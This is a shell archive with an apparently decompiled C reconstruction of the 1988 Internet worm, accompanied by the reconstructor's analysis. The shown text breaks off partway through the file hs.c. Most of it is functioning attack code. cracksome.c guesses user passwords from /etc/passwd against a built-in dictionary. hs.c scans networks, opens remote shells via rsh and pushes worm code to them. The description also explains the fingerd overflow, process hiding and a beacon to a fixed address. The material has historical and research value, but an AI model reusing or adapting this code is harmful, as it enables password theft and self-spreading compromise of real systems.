# To unbundle, sh this file echo Makefile 1>&2 sed 's/^-//' >Makefile <<'//GO.SYSIN DD Makefile' -C_FILES = worm.c net.c hs.c cracksome.c stubs.c -H_FILES = worm.h - -OFILES = worm.o net.o hs.o cracksome.o stubs.o - -# Luckily, the original used no optimization -CFLAGS = -# Most sites will have to remove the "-D" -- send for our souped-up version -# of ctags becker@trantor.harris-atd.com - -TAGS_FLAGS = -xDt - -test: $(OFILES) - $(CC) -o test $(OFILES) -$(OFILES): worm.h - -clean: - rm -f *.o *~ *.bak -tags: - ctags -xDt > tags -tar: - tar -cf foo.tar description Makefile $(C_FILES) $(H_FILES) x8113550.c //GO.SYSIN DD Makefile echo cracksome.c 1>&2 sed 's/^-//' >cracksome.c <<'//GO.SYSIN DD cracksome.c' -/*****************************************************************************\ -* * -* File: cracksome.c * -* Author: Don Becker * -* Created: Thu Nov 10 12:08:34 1988 * -* Contents: Crack a few passwords, and use them. * -* Copyright 1988 by Donald Becker, redistribution by permission only * -* * -******************************************************************************/ - -#include "worm.h" -#include-#include -#include -#include - -int cmode; -extern struct hst *h_name2host(); - -struct usr { /* sizeof(usr) == 58 */ - char *name, *o4, *o8, *o12; - char passwd[14]; /* offset 16 */ - char decoded_passwd[14]; /* 30 */ - short pad; - char *homedir; /* offset 46 */ - char *gecos; /* offset 50 */ - struct usr *next; /* offset 54 */ -}; - -/* Ahhh, I just love these names. Don't change them for anything. */ -static struct usr *x27f28, *x27f2c; - -/* Crack some passwords. */ -cracksome() -{ - switch (cmode){ - case 0: - strat_0(); - return; /* 88 */ - case 1: - strat_1(); - return; - case 2: - try_words(); - return; - case 3: - dict_words(); - return; - } -} - -/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */ -strat_0() /* 0x5da4 */ -{ - FILE *hosteq; - char scanbuf[512]; - char fwd_buf[256]; - char *fwd_host; - char getbuf[256]; - struct passwd *pwent; - char local[20]; - struct usr *user; - struct hst *host; /* 1048 */ - int check_other_cnt; /* 1052 */ - static struct usr *user_list = NULL; - - hosteq = fopen(XS("/etc/hosts.equiv"), XS("r")); - if (hosteq != NULL) { /* 292 */ - while (fscanf(hosteq, XS("%.100s"), scanbuf)) { - host = h_name2host(scanbuf, 0); - if (host == 0) { - host = h_name2host(scanbuf, 1); - getaddrs(host); - } - if (host->o48[0] == 0) /* 158 */ - continue; - host->flag |= 8; - } - fclose(hosteq); /* 280 */ - } - - hosteq = fopen(XS("/.rhosts"), XS("r")); - if (hosteq != NULL) { /* 516 */ - while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */ - if (sscanf(getbuf, XS("%s"), scanbuf) != 1) - continue; - host = h_name2host(scanbuf, 0); - while (host == 0) { /* 436, 474 */ - host = h_name2host(scanbuf, 1); - getaddrs(host); - } - if (host->o48[0] == 0) - continue; - host->flag |= 8; - } - fclose(hosteq); - } - - /* look through the passwd file, checking for contact with others every - * tenth entry. */ - setpwent(); - check_other_cnt = 0; /* 522 */ - while ((pwent = getpwent()) != 0) { /* 526, 1124 */ - if ((check_other_cnt % 10) == 0) - other_sleep(0); - check_other_cnt++; - sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir); - hosteq = fopen(fwd_buf, XS("r")); - if (hosteq != NULL) { /* 834 */ - while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */ - /* Punt the newline */ - (&scanbuf[strlen(scanbuf)])[-1] = '\0'; - fwd_host = index(scanbuf, '@'); - if (fwd_host == NULL) - continue; - host = h_name2host(++fwd_host, 0); - if (host == NULL) { - host = h_name2host(fwd_host, 1); - getaddrs(host); - } - if (host->o48[0] == 0) - continue; - host->flag |= 8; - } - fclose(hosteq); - } - /* Don't do foreign or compilcated hosts */ - if (strlen(host->hostname) > 11) - continue; - user = (struct usr *)malloc(sizeof(struct usr)); - strcpy(user->name, pwent->pw_name); - strcpy(&user->passwd[0], XS("x")); - user->decoded_passwd[0] = '\0'; - user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir); - user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos); - user->next = user_list; - user_list = user; - } - endpwent(); - cmode = 1; - x27f2c = user_list; - return; -} - -/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */ -static strat_1() /* 0x61ca */ -{ - int cnt; - char usrname[50], buf[50]; - - for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */ - /* Every tenth time look for "me mates" */ - if ((cnt % 10) == 0) - other_sleep(0); - /* Check for no passwd */ - if (try_passwd(x27f2c, XS(""))) /* other_fd+84 */ - continue; /* 1722 */ - /* If the passwd is something like "*" punt matching it. */ - if (strlen(x27f2c->passwd) != 13) - continue; - strncpy(usrname, x27f2c, sizeof(usrname)-1); - usrname[sizeof(usrname)-1] = '\0'; - if (try_passwd(x27f2c, usrname)) - continue; - sprintf(buf, XS("%.20s%.20s"), usrname, usrname); - if (try_passwd(x27f2c, buf)) - continue; /* 1722 */ - sscanf(x27f2c->gecos, XS("%[^ ,]"), buf); - if (isupper(buf[0])) - buf[0] = tolower(buf[0]); - if (strlen(buf) > 3 && try_passwd(x27f2c, buf)) - continue; - buf[0] = '\0'; - sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf); - if (isupper(buf[0])) - buf[0] = tolower(buf[0]); - if (strlen(buf) > 3 && index(buf, ',') == NULL && - try_passwd(x27f2c, buf)) - continue; - reverse_str(usrname, buf); - if (try_passwd(x27f2c, buf)) - ; - } - if (x27f2c == 0) - cmode = 2; - return; -} - -static reverse_str(str1, str2) /* x642a */ - char *str1, *str2; -{ - int length, i; - - length = strlen(str1); - - for(i = 0; i < length; i++) - str2[i] = (&str1[length-i]) [-1]; - str2[length] = '\0'; - return; -} - -static try_passwd(user, str) /* 0x6484, unchecked */ - struct usr *user; - char *str; -{ - if (strcmp(user->passwd, crypt(str, user->passwd)) == 0 || - (str[0] == '\0' && user->passwd == '\0')) { - strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd)); - user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0'; - attack_user(user); - return 1; - } - return 0; -} - - -/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts */ -/* This is only called from try_passwd() */ -static attack_user(user) /* 0x6514 */ - struct usr *user; -{ - FILE *fwd_fp; - char buf[512], *hostpart; /* l516 */ - char rhbuf[256]; /* l776 */ - char l1288[512]; - struct hst *host; /* l1292 */ - - sprintf(buf, XS("%.200s/.forward"), user->homedir); /* */ - fwd_fp = fopen(buf, XS("r")); - if (fwd_fp) { - while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */ - /* Punt the newline */ - buf[strlen(buf) - 1] = '\0'; - hostpart = index(buf, '@'); - /* If no hostname, it's not foreign so ignore it. */ - if (hostpart == NULL) - continue; - /* Split username and hostname */ - *hostpart++ = '\0'; - - /* Here there appears to be a bug!!! It works correctly - * by coincidence of pushing things on the stack. */ -#ifndef FIX_BUGS - host = h_name2host(hostpart, 1); - hu1(user, host, buf); -#else /* original */ - /* 'hu1' should have another argument */ - hu1(user, (host = h_name2host(hostpart, 1, buf))); -#endif - - } - fclose(fwd_fp); - } - - sprintf(buf, XS("%.200s/.rhosts"), user->homedir); - fwd_fp = fopen(buf, XS("r")); - if (fwd_fp) { /* 2446 */ - while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */ - l1288[0] = '\0'; - if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1) - continue; - host = h_name2host(buf, 1); - hu1(user, host, l1288); - } - fclose(fwd_fp); - } - return; -} - -/* This array in the sun binary was camaflouged by having the - high-order bit set in every char. */ - -char *wds[] = /* 0x21a74 */ -{ - "academia", - "aerobics", - "airplane", - "albany", - "albatross", - "albert", - "alex", - "alexander", - "algebra", - "aliases", - "alphabet", - "amorphous", - "analog", - "anchor", - "andromache", - "animals", - "answer", - "anthropogenic", - "anvils", - "anything", - "aria", - "ariadne", - "arrow", - "arthur", - "athena", - "atmosphere", - "aztecs", - "azure", - "bacchus", - "bailey", - "banana", - "bananas", - "bandit", - "banks", - "barber", - "baritone", - "bass", - "bassoon", - "batman", - "beater", - "beauty", - "beethoven", - "beloved", - "benz", - "beowulf", - "berkeley", - "berliner", - "beryl", - "beverly", - "bicameral", - "brenda", - "brian", - "bridget", - "broadway", - "bumbling", - "burgess", - "campanile", - "cantor", - "cardinal", - "carmen", - "carolina", - "caroline", - "cascades", - "castle", - "cayuga", - "celtics", - "cerulean", - "change", - "charles", - "charming", - "charon", - "chester", - "cigar", - "classic", - "clusters", - "coffee", - "coke", - "collins", - "commrades", - "computer", - "condo", - "cookie", - "cooper", - "cornelius", - "couscous", - "creation", - "creosote", - "cretin", - "daemon", - "dancer", - "daniel", - "danny", - "dave", - "december", - "defoe", - "deluge", - "desperate", - "develop", - "dieter", - "digital", - "discovery", - "disney", - "drought", - "duncan", - "eager", - "easier", - "edges", - "edinburgh", - "edwin", - "edwina", - "egghead", - "eiderdown", - "eileen", - "einstein", - "elephant", - "elizabeth", - "ellen", - "emerald", - "engine", - "engineer", - "enterprise", - "enzyme", - "ersatz", - "establish", - "estate", - "euclid", - "evelyn", - "extension", - "fairway", - "felicia", - "fender", - "fermat", - "fidelity", - "finite", - "fishers", - "flakes", - "float", - "flower", - "flowers", - "foolproof", - "football", - "foresight", - "format", - "forsythe", - "fourier", - "fred", - "friend", - "frighten", - "fungible", - "gabriel", - "gardner", - "garfield", - "gauss", - "george", - "gertrude", - "ginger", - "glacier", - "golfer", - "gorgeous", - "gorges", - "gosling", - "gouge", - "graham", - "gryphon", - "guest", - "guitar", - "gumption", - "guntis", - "hacker", - "hamlet", - "handily", - "happening", - "harmony", - "harold", - "harvey", - "hebrides", - "heinlein", - "hello", - "help", - "herbert", - "hiawatha", - "hibernia", - "honey", - "horse", - "horus", - "hutchins", - "imbroglio", - "imperial", - "include", - "ingres", - "inna", - "innocuous", - "irishman", - "isis", - "japan", - "jessica", - "jester", - "jixian", - "johnny", - "joseph", - "joshua", - "judith", - "juggle", - "julia", - "kathleen", - "kermit", - "kernel", - "kirkland", - "knight", - "ladle", - "lambda", - "lamination", - "larkin", - "larry", - "lazarus", - "lebesgue", - "leland", - "leroy", - "lewis", - "light", - "lisa", - "louis", - "lynne", - "macintosh", - "mack", - "maggot", - "magic", - "malcolm", - "mark", - "markus", - "marty", - "marvin", - "master", - "maurice", - "mellon", - "merlin", - "mets", - "michael", - "michelle", - "mike", - "minimum", - "minsky", - "moguls", - "moose", - "morley", - "mozart", - "nancy", - "napoleon", - "nepenthe", - "ness", - "network", - "newton", - "next", - "noxious", - "nutrition", - "nyquist", - "oceanography", - "ocelot", - "olivetti", - "olivia", - "oracle", - "orca", - "orwell", - "osiris", - "outlaw", - "oxford", - "pacific", - "painless", - "pakistan", - "papers", - "password", - "patricia", - "penguin", - "peoria", - "percolate", - "persimmon", - "persona", - "pete", - "peter", - "philip", - "phoenix", - "pierre", - "pizza", - "plover", - "plymouth", - "polynomial", - "pondering", - "pork", - "poster", - "praise", - "precious", - "prelude", - "prince", - "princeton", - "protect", - "protozoa", - "pumpkin", - "puneet", - "puppet", - "rabbit", - "rachmaninoff", - "rainbow", - "raindrop", - "raleigh", - "random", - "rascal", - "really", - "rebecca", - "remote", - "rick", - "ripple", - "robotics", - "rochester", - "rolex", - "romano", - "ronald", - "rosebud", - "rosemary", - "roses", - "ruben", - "rules", - "ruth", - "saxon", - "scamper", - "scheme", - "scott", - "scotty", - "secret", - "sensor", - "serenity", - "sharks", - "sharon", - "sheffield", - "sheldon", - "shiva", - "shivers", - "shuttle", - "signature", - "simon", - "simple", - "singer", - "single", - "smile", - "smiles", - "smooch", - "smother", - "snatch", - "snoopy", - "soap", - "socrates", - "sossina", - "sparrows", - "spit", - "spring", - "springer", - "squires", - "strangle", - "stratford", - "stuttgart", - "subway", - "success", - "summer", - "super", - "superstage", - "support", - "supported", - "surfer", - "suzanne", - "swearer", - "symmetry", - "tangerine", - "tape", - "target", - "tarragon", - "taylor", - "telephone", - "temptation", - "thailand", - "tiger", - "toggle", - "tomato", - "topography", - "tortoise", - "toyota", - "trails", - "trivial", - "trombone", - "tubas", - "tuttle", - "umesh", - "unhappy", - "unicorn", - "unknown", - "urchin", - "utility", - "vasant", - "vertigo", - "vicky", - "village", - "virginia", - "warren", - "water", - "weenie", - "whatnot", - "whiting", - "whitney", - "will", - "william", - "williamsburg", - "willie", - "winston", - "wisconsin", - "wizard", - "wombat", - "woodwind", - "wormwood", - "yacov", - "yang", - "yellowstone", - "yosemite", - "zimmerman", - 0 -}; -int nextw = 0; /* 0x24868 */ - -/* Try a list of potential passwds for each user. */ -static try_words() /* 0x66da */ -{ - struct usr *user; - int i, j; - - if (wds[nextw] == 0) { - cmode++; - return; /* 2724 */ - } - if (nextw == 0) { /* 2550 */ - for (i = 0; wds[i]; i++) - ; - permute(wds, i, sizeof(wds[0])); - } - - for (j = 0; wds[nextw][j] != '\0'; j++) - wds[nextw][j] &= 0x7f; - for (user = x27f28; user; user = user->next) - try_passwd(user, wds[nextw]); - for (j = 0; wds[nextw][j]; j++) /* 2664,2718 */ - wds[nextw][j] |= 0x80; - nextw += 1; - return; -} - - -/* Called only from the cracksome() dispatch loop. Tries a single word from the - * dictionary, downcasing if capitalized and trying again. */ -static dict_words() /* 0x67f0 */ -{ - char buf[512]; - struct usr *user; - static FILE *x27f30; - - if (x27f30 != NULL) { - x27f30 = fopen(XS("/usr/dict/words"), XS("r")); - if (x27f30 == NULL) - return; - } - if (fgets(buf, sizeof(buf), x27f30) == 0) { /* 2808,2846 */ - cmode++; - return; - } - (&buf[strlen(buf)])[-1] = '\0'; - - for (user = x27f28; user; user = user->next) /* 2910 */ - try_passwd(user, buf); - if (!isupper(buf[0])) - return; - buf[0] = tolower(buf[0]); - - for (user = x27f28; user; user = user->next) - try_passwd(user, buf); - return; /* 2988 */ -} - -/* - * Local variables: - * comment-column: 48 - * compile-command: "cc -S cracksome.c" - * End: - */ - //GO.SYSIN DD cracksome.c echo description 1>&2 sed 's/^-//' >description <<'//GO.SYSIN DD description' -In order to understand the methods used by the 'worm' program I -constructed a C source file that would compile to the exact code used -by the program. While the binaries are not exactly the same (the -original object files must have used a program similar to the Berkeley -'xstrings' to encode ASCII strings so that a simple search for strings -would not suceed), the code is identical when compiled with the -correct compilers (BSD 4.3 pcc on the VAX, the MIT/pcc-derived Sun C -compiler distributed with SunOS 3.4/3.5). - - - -Curiously, the attacks were all inter-machine. The program was intent -upon reaching as many hosts as possible rather than gaining more -privileged access on the current host. - -As reported elsewhere, the program's most successful point of attack -was through debugging mode in sendmail/the SMTP server. That hole -exists almost universally in Berkeley-derived mail systems, and -permitted initial access to sites such as Harris-ATD that depend upon -a security "wall" at the point of Arpanet access, and have an open -system internally. But that hole wasn't the only method the program -used to gain access, on the contrary it had an array of network and -password based attacks. - -The finger bug was the most interesting to me. The routine exploits a -fixed 512 byte input buffer in a VAX running the BSD 4.3 fingerd -binary. It send 536 bytes (plus a newline) to overwrite six extra -words in the stack frame, including the return PC. The return PC -points into the middle of the string sent over. The VAX instructions -in the string do the direct system call version of execve("/bin/sh"). - - -"Main" -- setup and hide - -The program first takes several steps to disguise itself as just -another "sh". It immediately copies "sh" into argv[0] so that -programs such as `ps' will report that name as the running process. -It then insures that an attempt to induce a core dump will fail by the -setting the "resource limit" for a potential core file to zero. It -parses the rest of its arguments, which might include the pid of its -parent and a list of object files. It loads the object files into -memory and deletes them from the file system. If any of the files are -missing or there is some other problem in loading them, it immediately -exits. At least the C version of the slave program must exist. - -If it has a command-line parent process id, it deletes itself from the -file system, along with "sh" and "/tmp/.dumb". It zeros out its -argument strings (so they can't be found by `ps'), detaches itself -from its parent's process group, and kills off its parent. - -Break into other systems - -The main breakin loop tries a few easy ways to get into other systems -(hg(), hl(), and ha()), checks for other copies of itself on the -current system, reports the breakin by opening a connection and -sending a single byte to "128.32.137.13", sleeps for a while to hide -the load on the system, and then enters a continuous loop of similar -activities. During each pass it changes its process id by forking off -a child and killing the parent. After twelve hours has elasped it cleans -out hosts it could not contact from its host list. - - -"Cracksome" - -'cracksome' is the dispatch routine for password and system cracking. It -proceeds in several stages, controlled by the variable 'cmode'. The -first stage reads the hosts in /etc/hosts.equiv and /.rhosts and puts -them in the list of known hosts. It then makes a list of all users in -/etc/passwd, stopping every tenth user to check for other copies of -itself. For each user it checks their ~/.forward files for additional -hosts. If the forwarded hostname is shorter than 12 characters (presumably a -hueristic to find only local hosts), it adds the user to its list of -local users, along with several fields from the password file. - -The next time 'cracksome' is called goes through the list of -usernames, again stopping every tenth name to check for others, and -tries various likely passwds, including none, the username (e.g. -becker), the user's name repeated twice (beckerbecker), and the user's -name reversed (rekceb). It also tries the names in the 'gecos' field -(the user's full name e.g. Donald Becker) with the first letter -downcased (e.g. `donald' and `becker'). - -The next pass through it tries words from an encoded private -dictionary for each user. Only the first third of a dictionary seems -to have made it to the binary -- words up to the letter "h". - -The final pass tries every word in /usr/lib/dict against every user -passwd. If the dictionary word is capitalized, it tries the lower -cased version of that word also. - - - Donald Becker - becker@trantor.harris-atd.com //GO.SYSIN DD description echo forbecker 1>&2 sed 's/^-//' >forbecker <<'//GO.SYSIN DD forbecker' -From "cracksome.c": - - ... - /* This array in the sun binary was appearently blank, but a partial - encoded dictionary existed in the binary. Someday I'll figure out what - happened, perhaps by looking at the VAX version. */ - - char *wds[] = {"",0}; /* 0x21a74 */ - ... - -Someone discovered that the strings in the binary all had the -high-order bit set. Here's what you should have: - -char *wds[] = -{ - "academia", - "aerobics", - "airplane", - "albany", - "albatross", - "albert", - "alex", - "alexander", - "algebra", - "aliases", - "alphabet", - "amorphous", - "analog", - "anchor", - "andromache", - "animals", - "answer", - "anthropogenic", - "anvils", - "anything", - "aria", - "ariadne", - "arrow", - "arthur", - "athena", - "atmosphere", - "aztecs", - "azure", - "bacchus", - "bailey", - "banana", - "bananas", - "bandit", - "banks", - "barber", - "baritone", - "bass", - "bassoon", - "batman", - "beater", - "beauty", - "beethoven", - "beloved", - "benz", - "beowulf", - "berkeley", - "berliner", - "beryl", - "beverly", - "bicameral", - "brenda", - "brian", - "bridget", - "broadway", - "bumbling", - "burgess", - "campanile", - "cantor", - "cardinal", - "carmen", - "carolina", - "caroline", - "cascades", - "castle", - "cayuga", - "celtics", - "cerulean", - "change", - "charles", - "charming", - "charon", - "chester", - "cigar", - "classic", - "clusters", - "coffee", - "coke", - "collins", - "commrades", - "computer", - "condo", - "cookie", - "cooper", - "cornelius", - "couscous", - "creation", - "creosote", - "cretin", - "daemon", - "dancer", - "daniel", - "danny", - "dave", - "december", - "defoe", - "deluge", - "desperate", - "develop", - "dieter", - "digital", - "discovery", - "disney", - "drought", - "duncan", - "eager", - "easier", - "edges", - "edinburgh", - "edwin", - "edwina", - "egghead", - "eiderdown", - "eileen", - "einstein", - "elephant", - "elizabeth", - "ellen", - "emerald", - "engine", - "engineer", - "enterprise", - "enzyme", - "ersatz", - "establish", - "estate", - "euclid", - "evelyn", - "extension", - "fairway", - "felicia", - "fender", - "fermat", - "fidelity", - "finite", - "fishers", - "flakes", - "float", - "flower", - "flowers", - "foolproof", - "football", - "foresight", - "format", - "forsythe", - "fourier", - "fred", - "friend", - "frighten", - "fungible", - "gabriel", - "gardner", - "garfield", - "gauss", - "george", - "gertrude", - "ginger", - "glacier", - "golfer", - "gorgeous", - "gorges", - "gosling", - "gouge", - "graham", - "gryphon", - "guest", - "guitar", - "gumption", - "guntis", - "hacker", - "hamlet", - "handily", - "happening", - "harmony", - "harold", - "harvey", - "hebrides", - "heinlein", - "hello", - "help", - "herbert", - "hiawatha", - "hibernia", - "honey", - "horse", - "horus", - "hutchins", - "imbroglio", - "imperial", - "include", - "ingres", - "inna", - "innocuous", - "irishman", - "isis", - "japan", - "jessica", - "jester", - "jixian", - "johnny", - "joseph", - "joshua", - "judith", - "juggle", - "julia", - "kathleen", - "kermit", - "kernel", - "kirkland", - "knight", - "ladle", - "lambda", - "lamination", - "larkin", - "larry", - "lazarus", - "lebesgue", - "leland", - "leroy", - "lewis", - "light", - "lisa", - "louis", - "lynne", - "macintosh", - "mack", - "maggot", - "magic", - "malcolm", - "mark", - "markus", - "marty", - "marvin", - "master", - "maurice", - "mellon", - "merlin", - "mets", - "michael", - "michelle", - "mike", - "minimum", - "minsky", - "moguls", - "moose", - "morley", - "mozart", - "nancy", - "napoleon", - "nepenthe", - "ness", - "network", - "newton", - "next", - "noxious", - "nutrition", - "nyquist", - "oceanography", - "ocelot", - "olivetti", - "olivia", - "oracle", - "orca", - "orwell", - "osiris", - "outlaw", - "oxford", - "pacific", - "painless", - "pakistan", - "papers", - "password", - "patricia", - "penguin", - "peoria", - "percolate", - "persimmon", - "persona", - "pete", - "peter", - "philip", - "phoenix", - "pierre", - "pizza", - "plover", - "plymouth", - "polynomial", - "pondering", - "pork", - "poster", - "praise", - "precious", - "prelude", - "prince", - "princeton", - "protect", - "protozoa", - "pumpkin", - "puneet", - "puppet", - "rabbit", - "rachmaninoff", - "rainbow", - "raindrop", - "raleigh", - "random", - "rascal", - "really", - "rebecca", - "remote", - "rick", - "ripple", - "robotics", - "rochester", - "rolex", - "romano", - "ronald", - "rosebud", - "rosemary", - "roses", - "ruben", - "rules", - "ruth", - "saxon", - "scamper", - "scheme", - "scott", - "scotty", - "secret", - "sensor", - "serenity", - "sharks", - "sharon", - "sheffield", - "sheldon", - "shiva", - "shivers", - "shuttle", - "signature", - "simon", - "simple", - "singer", - "single", - "smile", - "smiles", - "smooch", - "smother", - "snatch", - "snoopy", - "soap", - "socrates", - "sossina", - "sparrows", - "spit", - "spring", - "springer", - "squires", - "strangle", - "stratford", - "stuttgart", - "subway", - "success", - "summer", - "super", - "superstage", - "support", - "supported", - "surfer", - "suzanne", - "swearer", - "symmetry", - "tangerine", - "tape", - "target", - "tarragon", - "taylor", - "telephone", - "temptation", - "thailand", - "tiger", - "toggle", - "tomato", - "topography", - "tortoise", - "toyota", - "trails", - "trivial", - "trombone", - "tubas", - "tuttle", - "umesh", - "unhappy", - "unicorn", - "unknown", - "urchin", - "utility", - "vasant", - "vertigo", - "vicky", - "village", - "virginia", - "warren", - "water", - "weenie", - "whatnot", - "whiting", - "whitney", - "will", - "william", - "williamsburg", - "willie", - "winston", - "wisconsin", - "wizard", - "wombat", - "woodwind", - "wormwood", - "yacov", - "yang", - "yellowstone", - "yosemite", - "zimmerman", - 0 -}; //GO.SYSIN DD forbecker echo hs.c 1>&2 sed 's/^-//' >hs.c <<'//GO.SYSIN DD hs.c' -/*****************************************************************************\ -* * -* File: hs.c * -* Author: Don Becker * -* Created: Sun Nov 6 20:16:31 1988 * -* Contents: Third source file of the 'worm' * -* Copyright 1988 by Donald Becker, redistribution by permission only * -* * -******************************************************************************/ - -#include "worm.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -extern struct hst *h_addr2host(), *h_name2host(); -extern int justreturn(); -extern int errno; -extern char *malloc(); - -int alarmed = 0; -int ngateways, *gateways; -struct hst *me, *hosts; - -int nifs; -struct ifses ifs[30]; /* Arbitrary number, fix */ - -/* Clean hosts not contacted from the host list. */ -h_clean() /* 0x31f0 */ -{ - struct hst *newhosts, *host, *next; - - newhosts = NULL; - for (host = hosts; host != NULL; host = next) { - next = host->next; - host->flag &= -7; - if (host == me || host->flag != 0) { - host->next = newhosts; - newhosts = host; - } else - free(host); - } - hosts = newhosts; -} - -/* Look for a gateway we can contact. */ -hg() /* 0x3270, check again */ -{ - struct hst *host; - int i; - - rt_init(); - - for (i = 0; i < ngateways; i++) { /* 24, 92 */ - host = h_addr2host(gateways[i], 1); - if (try_rsh_and_mail(host)) - return 1; - } - return 0; -} - -ha() /* 0x32d4, unchecked */ -{ - struct hst *host; - int i, j, k; - int l416[100]; - int l420; - - if (ngateways < 1) - rt_init(); - j = 0; - for (i = 0; i < ngateways; i++) { /* 40, 172 */ - host = h_addr2host(gateways[i], 1); - for (k = 0; k < 6; k++) { /* 86, 164 */ - if (host->o48[k] == 0) - continue; /* 158 */ - if (try_telnet_p(host->o48[k]) == 0) - continue; - l416[j] = host->o48[k]; - j++; - } - } - - permute(l416, j, sizeof(l416[0])); - - for (i = 0; i < j; i++) { /* 198, 260 */ - if (hi_84(l416[i] & netmaskfor(l416[i]))) - return 1; - } - return 0; -} - -hl() /* 0x33e6 */ -{ - int i; - - for (i = 0; i < 6; i++) { /* 18, 106 */ - if (me->o48[i] == 0) - break; - if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0) - return 1; - } - return 0; -} - -hi() /* 0x3458 */ -{ - struct hst *host; - - for (host = hosts; host; host = host->next ) - if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0)) - return 1; - return 0; -} - -hi_84(arg1) /* 0x34ac */ -{ - int l4; - struct hst *host; - int l12, l16, l20, i, l28, adr_index, l36, l40, l44; - int netaddrs[2048]; - - l12 = netmaskfor(arg1); - l16 = ~l12; - - for (i = 0; i < nifs; i++) { /* 128,206 */ - if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16)) - return 0; /* 624 */ - } - - adr_index = 0; - if (l16 == 0x0000ffff) { /* 330 */ - l44 = 4; - for (l40 = 1; l40 < 255; l40++) /* 236,306 */ - for (l20 = 1; l20 <= 8; l20++) /* 254,300 */ - netaddrs[adr_index++] = arg1 | (l20 << 16) | l40; - permute(netaddrs, adr_index, sizeof(netaddrs[0])); - } else { /* 432 */ - l44 = 4; - for (l20 = 1; l20 < 255; l20++) - netaddrs[adr_index++] = (arg1 | l20); - permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0])); - permute(netaddrs, adr_index - 6, 4); - } - if (adr_index > 20) - adr_index = 20; - for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */ - l4 = netaddrs[l36]; - host = h_addr2host(l4, 0); - if (host == NULL || (host->flag & 0x02) == 0) - continue; - if (host == NULL || (host->flag & 0x04) == 0 || - command_port_p(l4, l44) == 0) - continue; - if (host == NULL) - host = h_addr2host(l4, 1); - if (try_rsh_and_mail(host)) - return 1; - } - return 0; -} - -/* Only called in the function above */ -static command_port_p(addr, time) /* x36d2, */ - u_long addr; - int time; -{ - int s, connection; /* 28 */ - struct sockaddr_in sin; /* 16 bytes */ - int (*save_sighand)(); - - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return 0; - bzero(&sin, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = addr; - sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command server... */ - - save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it fails */ - - /* Set up a timeout to break from connect if it fails */ - if (time < 1) - time = 1; - alarm(time); - connection = connect(s, &sin, sizeof(sin)); - alarm(0); - - close(s); - - if (connection < 0 && errno == ENETUNREACH) - error("Network unreachable"); - return connection != -1; -} - -static try_telnet_p(addr) /* x37b2, checked */ - u_long addr; -{ - int s, connection; /* 28 */ - struct sockaddr_in sin; /* 16 bytes */ - int (*save_sighand)(); - - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return 0; - bzero(&sin, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = addr; - sin.sin_port = IPPORT_TELNET; /* This time try telnet... */ - - /* Set up a 5 second timeout, break from connect if it fails */ - save_sighand = signal(SIGALRM, justreturn); - alarm(5); - connection = connect(s, &sin, sizeof(sin)); - if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refused */ - connection = 0; - alarm(0); /* Turn off timeout */ - - close(s); - - return connection != -1; -} - -/* Used in hg(), hi(), and hi_84(). */ -static try_rsh_and_mail(host) /* x3884,*/ - struct hst *host; -{ - int fd1, fd2, result; - - if (host == me) - return 0; /* 1476 */ - if (host->flag & 0x02) - return 0; - if (host->flag & 0x04) - return 0; - if (host->o48[0] == 0 || host->hostname == NULL) - getaddrs(host); - if (host->o48[0] == 0) { - host->flag |= 0x04; - return 0; - } - other_sleep(1); - if (host->hostname && /* 1352 */ - fork_rsh(host->hostname, &fd1, &fd2, - XS("exec /bin/sh"))) { /**/ - result = talk_to_sh(host, fd1, fd2); - close(fd1); - close(fd2); - /* Prevent child from hanging around in the state */ - wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL); - if (result != 0) - return result; - } - - if (try_finger(host, &fd1, &fd2)) { /* 1440 */ - result = talk_to_sh(host, fd1, fd2); - close(fd1); - close(fd2); - if (result != 0) - return result; - } - if (try_mail(host)) - return 1; - - host->flag |= 4; - return 0; -} - - -/* Check a2in() as it is updated */ -/* Used in twice in try_rsh_and_mail(), once in hu1(). */ -static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed */ - struct hst *host; - int fdrd, fdwr; -{ - object *objectptr; - char send_buf[512]; /* l516 */ - char print_buf[52]; /* l568 */ - int l572, l576, l580, l584, l588, l592; - - objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */ - - if (objectptr == NULL) - return 0; /**/ - if (makemagic(host, &l592, &l580, &l584, &l588) == 0) - return 0; - send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n")); - send_text(fdwr, XS("cd /usr/tmp\n")); - l576 = random() % 0x00FFFFFF; - - sprintf(print_buf, XS("x%d.c"), l576); - /* The 'sed' script just puts the EOF on the transmitted program. */ - sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"), - print_buf); - - send_text(fdwr, send_buf); - - wait_for(fdrd, XS("gorch49"), 10); - - xorbuf(objectptr->buf, objectptr->size); - l572 = write(fdwr, objectptr->buf, objectptr->size); - 